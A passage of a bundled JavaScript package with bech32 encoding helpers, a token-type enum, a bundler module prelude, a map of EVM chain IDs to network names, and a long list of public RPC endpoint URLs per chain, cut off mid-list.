chk\n\n var words = []\n for (var i = 0; i < wordChars.length; ++i) {\n var c = wordChars.charAt(i)\n var v = ALPHABET_MAP[c]\n if (v === undefined) return 'Unknown character ' + c\n chk = polymodStep(chk) ^ v\n\n // not in the checksum?\n if (i + 6 >= wordChars.length) continue\n words.push(v)\n }\n\n if (chk !== 1) return 'Invalid checksum for ' + str\n return { prefix: prefix, words: words }\n}\n\nfunction decodeUnsafe () {\n var res = __decode.apply(null, arguments)\n if (typeof res === 'object') return res\n}\n\nfunction decode (str) {\n var res = __decode.apply(null, arguments)\n if (typeof res === 'object') return res\n\n throw new Error(res)\n}\n\nfunction convert (data, inBits, outBits, pad) {\n var value = 0\n var bits = 0\n var maxV = (1 << outBits) - 1\n\n var result = []\n for (var i = 0; i < data.length; ++i) {\n value = (value << inBits) | data[i]\n bits += inBits\n\n while (bits >= outBits) {\n bits -= outBits\n result.push((value >> bits) & maxV)\n }\n }\n\n if (pad) {\n if (bits > 0) {\n result.push((value << (outBits - bits)) & maxV)\n }\n } else {\n if (bits >= inBits) return 'Excess padding'\n if ((value << (outBits - bits)) & maxV) return 'Non-zero padding'\n }\n\n return result\n}\n\nfunction toWordsUnsafe (bytes) {\n var res = convert(bytes, 8, 5, true)\n if (Array.isArray(res)) return res\n}\n\nfunction toWords (bytes) {\n var res = convert(bytes, 8, 5, true)\n if (Array.isArray(res)) return res\n\n throw new Error(res)\n}\n\nfunction fromWordsUnsafe (words) {\n var res = convert(words, 5, 8, false)\n if (Array.isArray(res)) return res\n}\n\nfunction fromWords (words) {\n var res = convert(words, 5, 8, false)\n if (Array.isArray(res)) return res\n\n throw new Error(res)\n}\n\nmodule.exports = {\n decodeUnsafe: decodeUnsafe,\n decode: decode,\n encode: encode,\n toWordsUnsafe: toWordsUnsafe,\n toWords: toWords,\n fromWordsUnsafe: fromWordsUnsafe,\n fromWords: fromWords\n}\n", "\"use strict\";var e;exports.TokenType=void 0,(e=exports.TokenType||(exports.TokenType={})).ERC20=\"ERC20\",e.ERC721=\"ERC721\";\n", "var __create = Object.create;\nvar __defProp = Object.defineProperty;\nvar __getOwnPropDesc = Object.getOwnPropertyDescriptor;\nvar __getOwnPropNames = Object.getOwnPropertyNames;\nvar __getProtoOf = Object.getPrototypeOf;\nvar __hasOwnProp = Object.prototype.hasOwnProperty;\nvar __esm = (fn, res) => function __init() {\n return fn && (res = (0, fn[__getOwnPropNames(fn)[0]])(fn = 0)), res;\n};\nvar __commonJS = (cb, mod) => function __require() {\n return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;\n};\nvar __export = (target, all3) => {\n for (var name in all3)\n __defProp(target, name, { get: all3[name], enumerable: true });\n};\nvar __copyProps = (to, from, except, desc) => {\n if (from && typeof from === \"object\" || typeof from === \"function\") {\n for (let key2 of __getOwnPropNames(from))\n if (!__hasOwnProp.call(to, key2) && key2 !== except)\n __defProp(to, key2, { get: () => from[key2], enumerable: !(desc = __getOwnPropDesc(from, key2)) || desc.enumerable });\n }\n return to;\n};\nvar __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(\n // If the importer is in node compatibility mode or this is not an ESM\n // file that has been converted to a CommonJS file using a Babel-\n // compatible transform (i.e. \"__esModule\" has not been set), then set\n // \"default\" to the CommonJS \"module.exports\" for node compatibility.\n isNodeMode || !mod || !mod.__esModule ? __defProp(target, \"default\", { value: mod, enumerable: true }) : target,\n mod\n));\n\n// \nvar define_chainIDList_default;\nvar init_define_chainIDList = __esm({\n \"\"() {\n define_chainIDList_default = { \"1\": \"ethereum\", \"8\": \"ubiq\", \"10\": \"optimism\", \"19\": \"songbird\", \"20\": \"elastos\", \"24\": \"kardiachain\", \"25\": \"cronos\", \"30\": \"rsk\", \"40\": \"telos\", \"50\": \"xdc\", \"52\": \"csc\", \"55\": \"zyx\", \"56\": \"binance\", \"57\": \"syscoin\", \"60\": \"gochain\", \"61\": \"ethereumclassic\", \"66\": \"okexchain\", \"70\": \"hoo\", \"82\": \"meter\", \"87\": \"nova network\", \"88\": \"viction\", \"100\": \"xdai\", \"106\": \"velas\", \"108\": \"thundercore\", \"122\": \"fuse\", \"128\": \"heco\", \"137\": \"polygon\", \"148\": \"shimmer_evm\", \"169\": \"manta\", \"200\": \"xdaiarb\", \"204\": \"op_bnb\", \"246\": \"energyweb\", \"248\": \"oasys\", \"250\": \"fantom\", \"269\": \"hpb\", \"288\": \"boba\", \"311\": \"omax\", \"314\": \"filecoin\", \"321\": \"kucoin\", \"324\": \"era\", \"336\": \"shiden\", \"361\": \"theta\", \"369\": \"pulse\", \"416\": \"sx\", \"463\": \"areon\", \"534\": \"candle\", \"570\": \"rollux\", \"592\": \"astar\", \"820\": \"callisto\", \"888\": \"wanchain\", \"1030\": \"conflux\", \"1088\": \"metis\", \"1101\": \"polygon_zkevm\", \"1116\": \"core\", \"1231\": \"ultron\", \"1234\": \"step\", \"1284\": \"moonbeam\", \"1285\": \"moonriver\", \"1440\": \"living assets mainnet\", \"1559\": \"tenet\", \"1975\": \"onus\", \"2000\": \"dogechain\", \"2222\": \"kava\", \"2332\": \"soma\", \"4337\": \"beam\", \"4689\": \"iotex\", \"5000\": \"mantle\", \"5050\": \"xlc\", \"5551\": \"nahmii\", \"6969\": \"tombchain\", \"7700\": \"canto\", \"8217\": \"klaytn\", \"8453\": \"base\", \"8899\": \"jbc\", \"9001\": \"evmos\", \"9790\": \"carbon\", \"10000\": \"smartbch\", \"15551\": \"loop\", \"17777\": \"eos_evm\", \"32520\": \"bitgert\", \"32659\": \"fusion\", \"32769\": \"zilliqa\", \"42161\": \"arbitrum\", \"42170\": \"arbitrum_nova\", \"42220\": \"celo\", \"42262\": \"oasis\", \"43114\": \"avalanche\", \"47805\": \"rei\", \"55555\": \"reichain\", \"59144\": \"linea\", \"71402\": \"godwoken\", \"333999\": \"polis\", \"420420\": \"kekchain\", \"888888\": \"vision\", \"245022934\": \"neon\", \"1313161554\": \"aurora\", \"1666600000\": \"harmony\", \"11297108109\": \"palm\", \"836542336838601\": \"curio\" };\n }\n});\n\n// \nvar define_extraRpcs_default;\nvar init_define_extraRpcs = __esm({\n \"\"() {\n define_extraRpcs_default = { \"1\": [\"https://mainnet.eth.cloud.ava.do/\", \"https://ethereumnodelight.app.runonflux.io\", \"https://eth-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf\", \"https://main-light.eth.linkpool.io\", \"https://rpc.notadegen.com/eth\", \"https://eth.llamarpc.com\", \"https://endpoints.omniatech.io/v1/eth/mainnet/public\", \"https://go.getblock.io/d7dab8149ec04390aaa923ff2768f914\", \"https://ethereum-rpc.publicnode.com\", \"https://1rpc.io/eth\", \"https://rpc.builder0x69.io/\", \"https://rpc.mevblocker.io\", \"https://rpc.flashbots.net/\", \"https://eth-pokt.nodies.app\", \"https://rpc.payload.de\", \"https://api.zmok.io/mainnet/oaen6dy8ff6hju9k\", \"https://eth.meowrpc.com\", \"https://eth.drpc.org\", \"https://eth.merkle.io\", \"https://rpc.lokibuilder.xyz/wallet\", \"https://api.stateless.solutions/ethereum/v1/0ec6cac0-ecac-4247-8a41-1e685deadfe4\", \"https://rpc.polysplit.cloud/v1/chain/1\", \"https://rpc.tornadoeth.cash/eth\", \"https://rpc.tornadoeth.cash/mev\"], \"2\": [\"https://node.eggs.cool\", \"https://node.expanse.tech\"], \"3\": [\"https://rpc.ankr.com/eth_ropsten\", \"https://ropsten.infura.io/v3/9aa3d95b3bc440fa88ea12eaa4456161\"], \"4\": [\"https://rpc.ankr.com/eth_rinkeby\", \"https://rinkeby.infura.io/3/9aa3d95b3bc440fa88ea12eaa4456161\"], \"5\": [\"https://endpoints.omniatech.io/v1/eth/goerli/public\", \"https://ethereum-goerli-rpc.publicnode.com\", \"https://rpc.tornadoeth.cash/goerli\"], \"6\": [\"https://www.ethercluster.com/kotti\"], \"7\": [\"https://rpc.dome.cloud\"], \"8\": [\"https://rpc.octano.dev\"], \"10\": [\"https://mainnet.optimism.io/\", \"https://optimism.llamarpc.com\", \"https://1rpc.io/op\", \"https://op-pokt.nodies.app\", \"https://endpoints.omniatech.io/v1/op/mainnet/public\", \"https://optimism-rpc.publicnode.com\", \"https://optimism.meowrpc.com\", \"https://optimism.drpc.org\", \"https://api.stateless.solutions/optimism/v1/f373feb1-c8e4-41c9-bb74-2c691988dd34\", \"https://rpc.tornadoeth.cash/optimism\"], \"11\": [\"https://api.metadium.com/dev\"], \"14\": [], \"15\": [\"https://prenet.diode.io:8443/\"], \"17\": [\"https://rpc.thaifi.com\"], \"19\": [\"https://songbird.towolabs.com/rpc\"], \"20\": [\"https://api.elastos.io/esc\", \"https://api.trinity-tech.io/esc\"], \"22\": [\"https://api.trinity-tech.io/eid\", \"https://api.elastos.io/eid\"], \"24\": [\"https://rpc.kardiachain.io\"], \"25\": [\"https://evm.cronos.org\", \"https://cronos-rpc.elk.finance/\", \"https://cronos-evm-rpc.publicnode.com\", \"https://1rpc.io/cro\"], \"27\": [\"https://rpc.shibachain.net\"], \"29\": [\"https://rpc.genesisl1.org\"], \"30\": [\"https://public-node.rsk.co\"], \"33\": [\"https://rpc.goodata.io\"], \"35\": [\"https://rpc.tbwg.io\"], \"38\": [\"https://rpc.valorbit.com/v2\"], \"40\": [\"https://mainnet.telos.net/evm\", \"https://rpc1.eu.telos.net/evm\", \"https://rpc1.us.telos.net/evm\", \"https://rpc2.us.telos.net/evm\", \"https://api.kainosbp.com/evm\", \"https://rpc2.eu.telos.net/evm\", \"https://evm.teloskorea.com/evm\", \"https://rpc2.teloskorea.com/evm\", \"https://rpc01.us.telosunlimited.io/evm\", \"https://rpc02.us.telosunlimited.io/evm\", \"https://1rpc.io/telos/evm\"], \"44\": [], \"50\": [\"https://rpc.xdcrpc.com\", \"https://rpc1.xinfin.network\", \"https://erpc.xinfin.network\", \"https://rpc.xinfin.network\", \"https://erpc.xdcrpc.com\", \"https://rpc.xdc.org\"], \"51\": [\"https://rpc.apothem.network\", \"https://erpc.apothem.network\", \"https://apothem.xdcrpc.com\"], \"52\": [\"https://rpc.coinex.net/\", \"https://rpc1.coinex.net/\", \"https://rpc2.coinex.net/\", \"https://rpc3.coinex.net/\", \"https://rpc4.coinex.net/\"], \"55\": [\"https://rpc-1.zyx.network/\", \"https://rpc-2.zyx.network/\", \"https://rpc-3.zyx.network/\", \"https://rpc-5.zyx.network/\"], \"56\": [\"https://bsc-dataseed.bnbchain.org/\", \"https://bsc-dataseed1.defibit.io/\", \"https://bsc-dataseed1.ninicoin.io/\", \"https://bsc-dataseed2.defibit.io/\", \"https://bsc-dataseed3.defibit.io/\", \"https://bsc-dataseed4.defibit.io/\", \"https://bsc-dataseed2.ninicoin.io/\", \"https://bsc-dataseed3.ninicoin.io/\", \"https://bsc-dataseed4.ninicoin.io/\", \"https://bsc-dataseed1.bnbchain.org/\", \"https://bsc-dataseed2.bnbchain.org/\", \"https://bsc-dataseed3.bnbchain.org/\", \"https://bsc-dataseed4.bnbchain.org/\", \"https://bsc-dataseed6.dict.life/\", \"https://bscrpc.com\", \"https://bsc.rpcgator.com/\", \"https://bsc-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf\", \"https://nodes.vefinetwork.org/smartchain\", \"https://binance.llamarpc.com\", \"https://endpoints.omniatech.io/v1/bsc/mainnet/public\", \"https://bsc-pokt.nodies.app\", \"https://1rpc.io/bnb\", \"https://bsc-rpc.publicnode.com\", \"https://bsc.meowrpc.com\", \"https://bsc.drpc.org\", \"https://rpc.polysplit.cloud/v1/chain/56\", \"https://rpc.tornadoeth.cash/bsc\"], \"57\": [\"https://rpc.syscoin.org\", \"https://syscoin-evm-rpc.publicnode.com\"], \"58\": [\"https://dappnode1.ont.io:10339\", \"https://dappnode2.ont.io:10339\", \"https://dappnode3.ont.io:10339\", \"https://dappnode4.ont.io:10339\"], \"59\": [\"https://api.eosargentina.io\", \"https://api.metahub.cash\"], \"60\": [\"https://rpc.gochain.io\"], \"61\": [\"https://etc.mytokenpocket.vip\", \"https://rpc.etcinscribe.com\", \"https://etc.etcdesktop.com\", \"https://etc.rivet.link\"], \"62\": [\"https://www.ethercluster.com/morden\"], \"63\": [\"https://rpc.mordor.etccooperative.org\"], \"64\": [], \"66\": [\"https://exchainrpc.okex.org\", \"https://1rpc.io/oktc\"], \"68\": [], \"70\": [\"https://http-mainnet.hoosmartchain.com\"], \"74\": [\"https://idchain.one/rpc/\"], \"76\": [], \"77\": [\"https://sokol.poa.network\"], \"78\": [\"https://ethnode.primusmoney.com/mainnet\"], \"79\": [\"https://dataserver-us-1.zenithchain.co/\", \"https://dataserver-asia-3.zenithchain.co/\", \"https://dataserver-asia-4.zenithchain.co/\", \"https://dataserver-asia-2.zenithchain.co/\"], \"80\": [], \"82\": [\"https://rpc.meter.io\"], \"86\": [\"https://evm.gatenode.cc\"], \"87\": [\"https://rpc.novanetwork.io:9070\", \"https://dev.rpc.novanetwork.io/\"], \"88\": [\"https://rpc.tomochain.com\"], \"90\": [\"https://s0.garizon.net/rpc\"], \"91\": [\"https://s1.garizon.net/rpc\"], \"92\": [\"https://s2.garizon.net/rpc\"], \"93\": [\"https://s3.garizon.net/rpc\"], \"96\": [\"https://rpc.bitkubchain.io\"], \"97\": [\"https://bsctestapi.terminet.io/rpc\", \"https://endpoints.omniatech.io/v1/bsc/testnet/public\", \"https://bsc-testnet-rpc.publicnode.com\"], \"99\": [\"https://core.poanetwork.dev\"], \"100\": [\"https://rpc.gnosischain.com\", \"https://xdai-archive.blockscout.com\", \"https://gnosis-pokt.nodies.app\", \"https://gnosis.drpc.org\", \"https://endpoints.omniatech.io/v1/gnosis/mainnet/public\", \"https://gnosis-rpc.publicnode.com\", \"https://1rpc.io/gnosis\", \"https://rpc.tornadoeth.cash/gnosis\"], \"101\": [], \"106\": [\"https://evmexplorer.velas.com/rpc\", \"https://velas-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf\"], \"108\": [\"https://mainnet-rpc.thundercore.com\"], \"111\": [\"https://rpc.etherlite.org\"], \"119\": [\"https://evmapi.nuls.io\", \"https://evmapi2.nuls.io\"], \"122\": [\"https://rpc.fuse.io\", \"https://fuse-pokt.nodies.app\"], \"123\": [\"https://rpc.fusespark.io\"], \"124\": [], \"126\": [\"https://rpc.mainnet.oychain.io\", \"https://rpc.oychain.io\"], \"127\": [], \"128\": [\"https://http-mainnet.hecochain.com\", \"https://http-mainnet-node.huobichain.com\", \"https://hecoapi.terminet.io/rpc\"], \"131\": [\"https://tokioswift.engram.tech\", \"https://tokio-archive.engram.tech\"], \"137\": [\"https://rpc-mainnet.maticvigil.com\", \"https://polygon-rpc.com\", \"https://rpc-mainnet.matic.network\", \"https://matic-mainnet-full-rpc.bwarelabs.com\", \"https://matic-mainnet-archive-rpc.bwarelabs.com\", \"https://polygonapi.terminet.io/rpc\", \"https://polygon-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf\", \"https://polygon-mainnet-public.unifra.io\", \"https://polygon.llamarpc.com\", \"https://endpoints.omniatech.io/v1/matic/mainnet/public\", \"https://polygon-pokt.nodies.app\", \"https://1rpc.io/matic\", \"https://polygon-bor-rpc.publicnode.com\", \"https://polygon.drpc.org\", \"https://polygon.meowrpc.com\", \"https://getblock.io/nodes/matic/\", \"https://api.stateless.solutions/polygon/v1/5850f066-209e-4e3c-a294-0757a4eb34b3\", \"https://rpc.tornadoeth.cash/polygon\"], \"142\": [\"https://rpc.prodax.io\"], \"163\": [\"https://node.mainnet.lightstreams.io\"], \"167\": [\"https://node.atoshi.io\", \"https://node2.atoshi.io\", \"https://node3.atoshi.io\"], \"169\": [\"https://pacific-rpc.manta.network/http\", \"https://1rpc.io/manta\"], \"186\": [\"https://rpc.seelen.pro/\"], \"188\": [\"https://mainnet.bmcchain.com/\"], \"195\": [], \"199\": [\"https://rpc.bittorrentchain.io/\"], \"200\": [\"https://arbitrum.xdaichain.com\"], \"204\": [\"https://opbnb-rpc.publicnode.com\", \"https://1rpc.io/opbnb\"], \"211\": [], \"217\": [\"https://rpc2.siriusnet.io\"], \"222\": [\"https://blockchain-api-mainnet.permission.io/rpc\"], \"246\": [\"https://rpc.energyweb.org\"], \"248\": [\"https://oasys-mainnet.gateway.pokt.network/v1/lb/c967bd31\", \"https://oasys-mainnet-archival.gateway.pokt.network/v1/lb/c967bd31\"], \"250\": [\"https://rpcapi.fantom.network\", \"https://rpc.ftm.tools/\", \"https://rpc.fantom.network\", \"https://rpc2.fantom.network\", \"https://rpc3.fantom.network\", \"https://endpoints.omniatech.io/v1/fantom/mainnet/public\", \"https://fantom-pokt.nodies.app\", \"https://1rpc.io/ftm\", \"https://fantom-rpc.publicnode.com\", \"https://fantom.drpc.org\"], \"255\": [\"https://1rpc.io/kroma\"], \"256\": [\"https://hecotestapi.terminet.io/rpc\"], \"258\": [], \"262\": [\"https://sur.nilin.org\"], \"288\": [\"https://mainnet.boba.network/\", \"https://1rpc.io/boba/eth\"], \"300\": [], \"311\": [\"https://mainapi.omaxray.com/\"], \"314\": [\"https://api.node.glif.io\", \"https://node.filutils.com/rpc/v1\", \"https://api.chain.love/rpc/v1\"], \"321\": [\"https://rpc-mainnet.kcc.network\", \"https://kcc.mytokenpocket.vip\", \"https://kcc-rpc.com\"], \"324\": [\"https://zksync.meowrpc.com\", \"https://zksync.drpc.org\", \"https://1rpc.io/zksync2-era\"], \"333\": [], \"336\": [\"https://rpc.shiden.astar.network:8545/\"], \"338\": [\"https://evm-t3.cronos.org/\"], \"361\": [\"https://eth-rpc-api.thetatoken.org/rpc\"], \"369\": [\"https://rpc.pulsechain.com\", \"https://rpc-pulsechain.g4mm4.io\", \"https://evex.cloud/pulserpc\", \"https://pulse-s.projectpi.xyz\", \"https://pulsechain-rpc.publicnode.com\"], \"385\": [], \"416\": [\"https://rpc.sx.technology\"], \"420\": [\"https://endpoints.omniatech.io/v1/op/goerli/public\", \"https://optimism-goerli-rpc.publicnode.com\"], \"463\": [\"https://mainnet-rpc.areon.network\", \"https://mainnet-rpc2.areon.network\", \"https://mainnet-rpc3.areon.network\", \"https://mainnet-rpc4.areon.network\", \"https://mainnet-rpc5.areon.network\"], \"499\": [], \"512\": [\"https://rpc.acuteangle.com\"], \"530\": [\"https://fx-json-web3.portfolio-x.xyz:8545/\"], \"555\": [\"https://rpc.velaverse.io\"], \"558\": [\"https://rpc.tao.network\"], \"570\": [\"https://rpc.rollux.com\", \"https://rollux.rpc.syscoin.org\"], \"592\": [\"https://evm.astar.network/\", \"https://rpc.astar.network:8545\", \"https://getblock.io/nodes/bsc/\", \"https://1rpc.io/astr\"], \"595\": [], \"686\": [\"https://eth-rpc-karura.aca-staging.network\", \"https://rpc.evm.karura.network\"], \"707\": [], \"777\": [\"https://node.cheapeth.org/rpc\"], \"787\": [\"https://eth-rpc-acala.aca-staging.network\", \"https://rpc.evm.acala.network\"], \"803\": [], \"813\": [\"https://mainnet.meerlabs.com\"], \"820\": [\"https://rpc.callisto.network\", \"https://clo-geth.0xinfra.com/\"], \"880\": [], \"888\": [\"https://gwan-ssl.wandevs.org:56891\", \"https://gwan2-ssl.wandevs.org\"], \"943\": [\"https://pulsetest-s.projectpi.xyz\", \"https://pulsechain-testnet-rpc.publicnode.com\"], \"977\": [], \"998\": [], \"1001\": [\"https://public-en-baobab.klaytn.net\"], \"1003\": [], \"1010\": [\"https://meta.evrice.com\"], \"1012\": [\"https://global.rpc.mainnet.newtonproject.org\"], \"1022\": [], \"1024\": [\"https://api-para.clover.finance\"], \"1030\": [\"https://evm.confluxrpc.com\", \"https://conflux-espace-public.unifra.io\"], \"1072\": [\"https://json-rpc.evm.testnet.shimmer.network/\"], \"1088\": [\"https://andromeda.metis.io/?owner=1088\", \"https://metis-pokt.nodies.app\"], \"1089\": [\"https://humans-mainnet-evm.itrocket.net\"], \"1100\": [\"https://jsonrpc.dymension.nodestake.org\", \"https://evm-archive.dymd.bitszn.com\", \"https://dymension.liquify.com/json-rpc\", \"https://dymension-evm.kynraze.com\"], \"1101\": [\"https://1rpc.io/polygon/zkevm\", \"https://polygon-zkevm.drpc.org\"], \"1115\": [\"https://rpc.test.btcs.network\"], \"1116\": [\"https://rpc.coredao.org\", \"https://core.public.infstones.com\", \"https://1rpc.io/core\"], \"1130\": [\"https://dmc.mydefichain.com/mainnet\", \"https://dmc01.mydefichain.com/mainnet\"], \"1131\": [\"https://dmc.mydefichain.com/testnet\", \"https://dmc01.mydefichain.com/testnet\", \"https://eth.testnet.ocean.jellyfishsdk.com/\"], \"1139\": [\"https://mathchain.maiziqianbao.net/rpc\"], \"1197\": [], \"1202\": [], \"1213\": [\"https://dataseed.popcateum.org\"], \"1214\": [], \"1231\": [\"https://ultron-rpc.net\"], \"1246\": [\"https://rpc-cnx.omplatform.com\"], \"1280\": [\"https://nodes.halo.land\"], \"1284\": [\"https://rpc.api.moonbeam.network\", \"https://1rpc.io/glmr\", \"https://endpoints.omniatech.io/v1/moonbeam/mainnet/public\", \"https://moonbeam-rpc.publicnode.com\"], \"1285\": [\"https://moonriver-rpc.publicnode.com\"], \"1287\": [\"https://rpc.testnet.moonbeam.network\"], \"1288\": [], \"1338\": [\"https://rpc.atlantischain.network/\"], \"1339\": [\"https://rpc.elysiumchain.tech/\", \"https://rpc.elysiumchain.us/\"], \"1440\": [], \"1442\": [], \"1501\": [\"https://rpc-canary-1.bevm.io/\", \"https://rpc-canary-2.bevm.io/\"], \"1506\": [\"https://mainnet.sherpax.io/rpc\"], \"1515\": [\"https://beagle.chat/eth\"], \"1618\": [\"https://send.catechain.com\"], \"1620\": [], \"1657\": [\"https://dataseed1.btachain.com/\"], \"1707\": [\"https://rpc.blockchain.or.th\"], \"1708\": [\"https://rpc.testnet.blockchain.or.th\"], \"1856\": [], \"1881\": [\"https://rpc.cartenz.works\"], \"1972\": [\"https://rpc2.redecoin.eu\"], \"1975\": [\"https://rpc.onuschain.io\"], \"1987\": [], \"2000\": [\"https://rpc.dogechain.dog\", \"https://rpc-us.dogechain.dog\", \"https://rpc-sg.dogechain.dog\", \"https://rpc.dogechain.dog\", \"https://rpc01-sg.dogechain.dog\", \"https://rpc02-sg.dogechain.dog\", \"https://rpc03-sg.dogechain.dog\"], \"2016\": [\"https://eu-rpc.mainnetz.io\"], \"2021\": [\"https://mainnet2.edgewa.re/evm\", \"https://mainnet3.edgewa.re/evm\", \"https://edgeware-evm.jelliedowl.net/\"], \"2025\": [\"https://mainnet.rangersprotocol.com/api/jsonrpc\"], \"2049\": [\"https://msc-rpc.movoscan.com/\"], \"2077\": [], \"2100\": [\"https://api.ecoball.org/ecoball/\"], \"2213\": [\"https://seed4.evanesco.org:8546\"], \"2222\": [\"https://evm.kava.io\", \"https://kava-evm-rpc.publicnode.com\", \"https://kava-pokt.nodies.app\"], \"2323\": [], \"2332\": [], \"2458\": [], \"2468\": [], \"2559\": [], \"2612\": [\"https://api.ezchain.com/ext/bc/C/rpc\"], \"3501\": [\"https://rpc.jfinchain.com\"], \"3639\": [\"https://rpc.ichainscan.com\"], \"3690\": [], \"4002\": [\"https://rpc.testnet.fantom.network/\", \"https://endpoints.omniatech.io/v1/fantom/testnet/public\", \"https://fantom-testnet-rpc.publicnode.com\"], \"4139\": [\"https://humans-testnet-evm.itrocket.net\"], \"4181\": [\"https://rpc1.phi.network\"], \"4444\": [\"https://janus.htmlcoin.dev/janus/\"], \"4689\": [\"https://babel-api.mainnet.iotex.io\", \"https://babel-api.mainnet.iotex.one\", \"https://babel-api.fastblocks.io\"], \"5000\": [\"https://mantle-rpc.publicnode.com\", \"https://mantle.drpc.org\", \"https://1rpc.io/mantle\"], \"5050\": [\"https://rpc.liquidchain.net/\", \"https://rpc.xlcscan.com/\"], \"5165\": [\"https://bahamut-rpc.publicnode.com\"], \"5177\": [], \"5197\": [\"https://mainnet.eraswap.network\"], \"5315\": [], \"5551\": [\"https://l2.nahmii.io/\"], \"5700\": [\"https://rollux.rpc.tanenbaum.io\", \"https://syscoin-tanenbaum-evm-rpc.publicnode.com\"], \"5729\": [\"https://rpc-testnet.hika.network\"], \"5869\": [\"https://proxy.wegochain.io\"], \"6363\": [\"https://dsc-rpc.digitsoul.co.th\"], \"6626\": [\"https://http-mainnet.chain.pixie.xyz\"], \"6688\": [\"https://iris-evm-rpc.publicnode.com\"], \"7000\": [\"https://zeta.rpcgrid.com\"], \"7001\": [], \"7070\": [\"https://planq-rpc.nodies.app\", \"https://jsonrpc.planq.nodestake.top/\"], \"7341\": [\"https://rpc.shyft.network/\"], \"7700\": [\"https://canto.gravitychain.io/\", \"https://canto.evm.chandrastation.com/\", \"https://jsonrpc.canto.nodestake.top/\", \"https://canto.dexvaults.com/\", \"https://canto-rpc.ansybl.io\"], \"7777\": [\"https://testnet1.rotw.games\", \"https://testnet2.rotw.games\", \"https://testnet3.rotw.games\", \"https://testnet4.rotw.games\", \"https://testnet5.rotw.games\"], \"7895\": [], \"8000\": [\"https://dataseed.testnet.teleport.network\"], \"8081\": [], \"8082\": [], \"8131\": [\"https://testnet.meerlabs.com\"], \"8217\": [\"https://public-en-cypress.klaytn.net\", \"https://1rpc.io/klay\", \"https://klaytn-pokt.nodies.app\", \"https://klaytn.drpc.org\"], \"8453\": [\"https://mainnet.base.org\", \"https://developer-access-mainnet.base.org\", \"https://rpc.notadegen.com/base\", \"https://base.llamarpc.com\", \"https://1rpc.io/base\", \"https://base-pokt.nodies.app\", \"https://base.meowrpc.com\", \"https://base-rpc.publicnode.com\", \"https://base.drpc.org\", \"https://endpoints.omniatech.io/v1/base/mainnet/public\"], \"8899\": [\"https://rpc-l1.jibchain.net\", \"https://jib-rpc.inan.in.th\", \"https://rpc-l1.jbc.aomwara.in.th\", \"https://rpc-l1.jbc.xpool.pw\"], \"8995\": [\"https://core.bloxberg.org\"], \"9000\": [\"https://evmos-testnet-json.qubelabs.io\", \"https://evmos-tjson.antrixy.org\", \"https://evmos-testnet-rpc.kingsuper.services\", \"https://rpc.evmos.test.theamsolutions.info\", \"https://api.evmos-test.theamsolutions.info\", \"https://rpc.evmos.testnet.node75.org\", \"https://rpc-evm.testnet.evmos.dragonstake.io\", \"https://evmos-testnet-rpc.stake-town.com\", \"https://evmos-testnet-jsonrpc.stake-town.com\", \"https://api.evmos-test.theamsolutions.info\", \"https://jsonrpc-t.evmos.nodestake.top\", \"https://evmos-testnet-jsonrpc.autostake.com\", \"https://evmos-testnet-jsonrpc.alkadeta.com\", \"https://evm-rpc.evmost.silentvalidator.com\", \"https://testnet-evm-rpc-evmos.hoodrun.io\", \"https://alphab.ai/rpc/eth/evmos_testnet\", \"https://t-evmos-jsonrpc.kalia.network\", \"https://jsonrpc-evmos-testnet.mzonder.com\", \"https://evmos-testnet.lava.build/lava-referer-16223de7-12c0-49f3-8d87-e5f1e6a0eb3b\"], \"9001\": [\"https://jsonrpc-evmos.goldenratiostaking.net\", \"https://eth.bd.evmos.org:8545/\", \"https://evmos-json-rpc.stakely.io\", \"https://jsonrpc-evmos-ia.cosmosia.notional.ventures\", \"https://json-rpc.evmos.blockhunters.org\", \"https://evmos-json-rpc.agoranodes.com\", \"https://evmos-json.antrixy.org\", \"https://jsonrpc.evmos.nodestake.top\", \"https://evmos-jsonrpc.alkadeta.com\", \"https://evmos-json.qubelabs.io\", \"https://evmos-rpc.theamsolutions.info\", \"https://evmos-api.theamsolutions.info\", \"https://evmos-jsonrpc.theamsolutions.info\", \"https://evm-rpc-evmos.hoodrun.io\", \"https://evmos-json-rpc.0base.dev\", \"https://json-rpc.evmos.tcnetwork.io\", \"https://rpc-evm.evmos.dragonstake.io\", \"https://evmosevm.rpc.stakin-nodes.com\", \"https://evmos-jsonrpc.stake-town.com\", \"https://json-rpc-evmos.mainnet.validatrium.club\", \"https://rpc-evmos.imperator.co\", \"https://evm-rpc.evmos.silentvalidator.com\", \"https://alphab.ai/rpc/eth/evmos\", \"https://evmos-jsonrpc.kalia.network\", \"https://jsonrpc-evmos.mzonder.com\", \"https://evmos-pokt.nodies.app\", \"https://evmos-evm-rpc.publicnode.com\"], \"9100\": [], \"10000\": [\"https://smartbch.fountainhead.cash/mainnet\", \"https://global.uat.cash\", \"https://rpc.uatvo.com\"], \"10086\": [], \"10101\": [\"https://eu.mainnet.xixoio.com\"], \"10200\": [\"https://rpc.chiadochain.net\", \"https://gnosis-chiado-rpc.publicnode.com\", \"https://1rpc.io/gnosis\"], \"10248\": [], \"11111\": [\"https://api.trywagmi.xyz/rpc\"], \"11235\": [\"https://haqq-evm-rpc.publicnode.com\"], \"12052\": [\"https://zerorpc.singularity.gold\"], \"13000\": [\"https://rpc.ssquad.games\"], \"13381\": [\"https://rpc.phoenixplorer.com/\"], \"15551\": [], \"15557\": [], \"16000\": [], \"17000\": [\"https://ethereum-holesky-rpc.publicnode.com\", \"https://1rpc.io/holesky\", \"https://holesky-rpc.nocturnode.tech\"], \"17777\": [], \"18159\": [\"https://mainnet-rpc.memescan.io/\", \"https://mainnet-rpc2.memescan.io/\", \"https://mainnet-rpc3.memescan.io/\", \"https://mainnet-rpc4.memescan.io/\"], \"19845\": [], \"21816\": [\"https://seed.omlira.com\"], \"23294\": [\"https://1rpc.io/oasis/sapphire\"], \"24484\": [], \"24734\": [\"https://node1.mintme.com\"], \"31102\": [], \"32520\": 